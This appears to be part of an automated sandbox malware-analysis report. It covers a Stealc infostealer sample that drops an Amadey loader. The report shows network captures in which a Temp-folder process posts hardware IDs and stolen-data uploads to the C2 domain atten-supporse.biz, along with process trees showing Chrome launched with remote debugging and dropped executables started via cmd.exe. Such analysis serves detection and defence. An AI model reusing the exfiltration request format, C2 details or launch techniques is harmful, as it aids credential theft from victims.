2024-11-30 08:45:57 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49912	172.67.165.166	443	5224	C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:57 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SFQ3N7UN7EPG9NDA3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8784 Host: atten-supporse.biz
2024-11-30 08:45:57 UTC	8784	OUT	Data Raw: 2d 2d 53 46 51 33 4e 37 55 4e 37 45 50 47 39 4e 44 41 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 45 38 44 45 44 35 33 43 33 35 41 35 38 44 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 53 46 51 33 4e 37 55 4e 37 45 50 47 39 4e 44 41 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 46 51 33 4e 37 55 4e 37 45 50 47 39 4e 44 41 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --SFQ3N7UN7EPG9NDA3Content-Disposition: form-data; name="hwid"26E8DED53C35A58DEFA3D63B69E7CA14--SFQ3N7UN7EPG9NDA3Content-Disposition: form-data; name="pid"2--SFQ3N7UN7EPG9NDA3Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-30 08:45:58 UTC	1024	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9ts93libn87vfsg32isvbh3s56; expires=Wed, 26-Mar-2025 02:32:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wua02TlvgcX7LMked9cilKTkph0U4PjM5TAclFEn%2BVtqAzfuh2OQSIM%2FzDq7fbX%2B1X%2Bg%2FZ3UzGQAW6Jlmnm0pxSKv7BblhYU01ujN%2BagqcSEarZxbtMALrNx5VKQciKyZLH4rus%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea99075295a8c60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8029&min_rtt=1805&rtt_var=4542&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2847&recv_bytes=9724&delivery_rate=1617728&cwnd=47&unsent_bytes=0&cid=e9a679e4a8aec26d&ts=1021&x=0"
2024-11-30 08:45:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-30 08:45:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:58 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:58 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 265bbc89-201e-000c-57ab-4279c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084558Z-174f7845968swgbqhC1EWRmnb4000000119g000000006s34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:58 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:58 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:58 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 318ca048-e01e-000c-04e9-418e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084558Z-174f7845968swgbqhC1EWRmnb400000011f00000000000y8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:58 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:58 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:58 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: d9e8d238-201e-0000-77ec-41a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084558Z-174f78459685m244hC1EWRgp2c00000010yg000000007v97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:58 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:58 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:59 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 58155e02-501e-0035-3e36-40c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084559Z-174f7845968qj8jrhC1EWRh41s000000110g00000000arky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:59 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:45:59 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:45:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:59 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 128d6adc-c01e-00a2-2191-3f2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084559Z-174f7845968zgtf6hC1EWRqd8s0000000u7g0000000015aq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:45:59 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49924	172.67.165.166	443	5224	C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:46:00 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y9UZN91D1QA7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20407 Host: atten-supporse.biz
2024-11-30 08:46:00 UTC	15331	OUT	Data Raw: 2d 2d 59 39 55 5a 4e 39 31 44 31 51 41 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 45 38 44 45 44 35 33 43 33 35 41 35 38 44 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 59 39 55 5a 4e 39 31 44 31 51 41 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 59 39 55 5a 4e 39 31 44 31 51 41 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 59 39 55 5a 4e 39 31 44 Data Ascii: --Y9UZN91D1QA7Content-Disposition: form-data; name="hwid"26E8DED53C35A58DEFA3D63B69E7CA14--Y9UZN91D1QA7Content-Disposition: form-data; name="pid"3--Y9UZN91D1QA7Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--Y9UZN91D
2024-11-30 08:46:00 UTC	5076	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-11-30 08:46:01 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:46:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e4rullgdd84tspv4c0hnp3vt6u; expires=Wed, 26-Mar-2025 02:32:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7hGvzeEcFESBYYSneYw9iu7L4sqTM6mB39lpiT61DRdF5cWAxjLaDUYKx81fLwhhw8o6mmkqV90uDquND9ibDzSrXOLD1r9BZABSYy83RRLUCkWwfuipcK8WANTXv%2BSK2fPpqRw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea99085fce378d6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1878&min_rtt=1872&rtt_var=714&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21365&delivery_rate=1518460&cwnd=146&unsent_bytes=0&cid=3e3a00eac3da16fe&ts=1066&x=0"
2024-11-30 08:46:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-30 08:46:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:46:00 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:46:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:46:04 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: e207a0d1-601e-0097-63aa-42f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084600Z-174f7845968nxc96hC1EWRspw8000000111g000000000kvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:46:04 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Target ID:	0
Start time:	03:43:56
Start date:	30/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb60000
File size:	1'811'968 bytes
MD5 hash:	02F94F35B367A81B399909DCB6405AE0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1682475853.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2130184923.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2130548114.0000000000B61000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:44:05
Start date:	30/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:44:05
Start date:	30/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2180,i,12075969876713685064,4288485122995697307,262144 /prefetch:8
Imagebase:	0x7ff70f330000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:44:37
Start date:	30/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FCFBFHIEBK.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:44:37
Start date:	30/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:44:37
Start date:	30/11/2024
Path:	C:\Users\user\Documents\FCFBFHIEBK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\FCFBFHIEBK.exe"
Imagebase:	0x790000
File size:	1'894'400 bytes
MD5 hash:	48BBAE0E073AB8356B2A67806A19EDCC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.2095183525.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2135538626.0000000000791000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:44:39
Start date:	30/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xc70000
File size:	1'894'400 bytes
